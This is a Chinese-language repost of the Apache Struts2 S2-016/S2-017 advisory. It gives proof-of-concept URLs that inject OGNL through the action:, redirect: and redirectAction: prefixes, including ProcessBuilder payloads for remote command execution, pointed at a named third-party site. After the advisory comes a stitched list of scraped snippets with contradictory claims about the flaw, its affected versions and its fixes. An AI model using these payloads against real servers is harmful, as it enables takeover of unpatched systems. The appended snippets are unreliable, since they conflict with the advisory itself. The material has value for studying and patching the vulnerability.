原链:http://zone.wooyun.org/content/5159
POC来自官方:
http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
这是一个代码执行漏洞,利用java代码来执行系统命令。
影响版本:Struts 2.0.0 – Struts 2.3.15
漏洞说明:
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
测试POC:
In the Struts Blank App, open following URLs.
Simple Expression – the parameter names are evaluated as OGNL.
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{3*4}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{3*4}
Command Execution
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
解决方法:
DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017.
官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html
相关推荐
-- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper --> <bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class=...
Struts2 最新漏洞 S2-016、S2-017 修补方案 Struts2 是一个基于 Java 的 Web 应用程序框架,由 Apache 软件基金会维护。最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者...
然而,这个框架的历史上存在一系列的安全漏洞,其中特别值得关注的是与反序列化相关的漏洞,如s2-005、s2-016、s2-016_3和s2-017。这些漏洞允许攻击者通过精心构造的输入,利用Struts2的内置机制执行任意代码,从而...
对Struts s2-016 s2-017的官方修复建议是升级struts, 但对正在运行的系统,许多依赖包会导致运行出错, 直接更改代码是更快的选择. 本补丁是针对 struts2-core-2.0.11.jar 的修改, 把文件中 bin下的文件直接copy到 web...
logging-1.0.4.jar<br>commons-validator-1.3.1.jar<br>jstl-1.0.2.jar<br>oro-2.0.8.jar<br>standard-1.0.2.jar<br>struts-core-1.3.8.jar<br>struts-el-1.3.8.jar<br>struts-extras-1.3.8.jar<br>struts-faces-...
Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架,广泛应用于企业级应用程序中。然而,Struts2 中存在着一些漏洞,例如 S2-045 漏洞,该漏洞可能会导致严重的安全问题。今天,我们将...
本工具可以详细测试S2-016/017漏洞的资源,有助于您更深层的了解struts!
1. 导入的包<br><br>l struts2的五个基础包:commons-logging-1.1.jar;...<br><br>xwork-2.0.0.jar.<br><br>l spring的核心包:spring.jar<br><br>l 二者集成开发所需的包:struts-spring-plugin-2.0.6.jar<br>
然而,像任何其他软件一样,Struts2也存在安全漏洞,其中S2-016和S2-017是两个知名的高危漏洞。 S2-016漏洞,全称为"Struts2 REST插件远程代码执行漏洞",主要影响Struts2的REST插件。该漏洞源于框架在处理XML内容...
<package name="chapter1" namespace="/chapter1" extends="struts-default"> <action name="HelloWorld" class="chapter1.action.Chapter1Action" method="execute"> <result name="success">/WEB-INF/JspPage/...
`ognl-3.2.jar`是Object-Graph Navigation Language的最新版本,它是Struts2中用于动态数据绑定和表达式语言的关键组件。在S2-045修复中,OGNL的表达式解析和执行机制得到了加强,增强了安全性,避免了恶意代码的...
Struts2 S2-016漏洞,全称为“Struts2 OGNL注入漏洞”,主要出现在Struts2的2.3.5到2.3.31以及2.5.0到2.5.10.1版本之间。这个漏洞允许攻击者通过恶意构造的OGNL(Object-Graph Navigation Language)表达式来执行...
<br> ------------------------------------------------<br> 实例说明:<br><br> 将<br><br> “struts2-mailreader-2.0.9.war”<br><br> 改为<br><br> “struts2-mailreader-2.0.9.rar”<br><br> 使用解压工具解压-...
为了防御S2-016漏洞,最重要的措施是升级到不受影响的Struts2版本,至少是2.3.32或更高版本,同时应用所有相关的安全补丁。此外,还应严格限制Struts2 OGNL表达式的使用,避免在不受信任的数据中解析OGNL。配置过滤...
根据官方给的信息,问题出在 a 标签,所以写个 jsp 页面,内容如下:<s:a includeParams="all">Click here.</s:a>这个是 Struts2 标签库的 a 标签,该标签会在页面上显示当前 URL,当 includeParams=all 时,就会...
<br> ------------------------------------------------<br> 实例说明:<br><br> 将<br><br> “struts2-mailreader-2.0.9.war”<br><br> 改为<br><br> “struts2-mailreader-2.0.9.rar”<br><br> 使用解压工具解压-...
<br> ------------------------------------------------<br> 实例说明:<br><br> 将<br><br> “struts2-mailreader-2.0.9.war”<br><br> 改为<br><br> “struts2-mailreader-2.0.9.rar”<br><br> 使用解压工具解压-...
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...
<filter-name>struts2</filter-name> <!-- 过滤器的名字 --> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> <!-- 引用个具体类文件 --> </...
此外,更新到最新的Struts 2版本也是必要的,因为官方会发布补丁来修复已知的安全问题。 在提供的压缩包中,`struts-2.5.16-all.zip`包含了Struts 2.5.16的完整发布版,包括运行库和相关文档,你可以用它来搭建一个...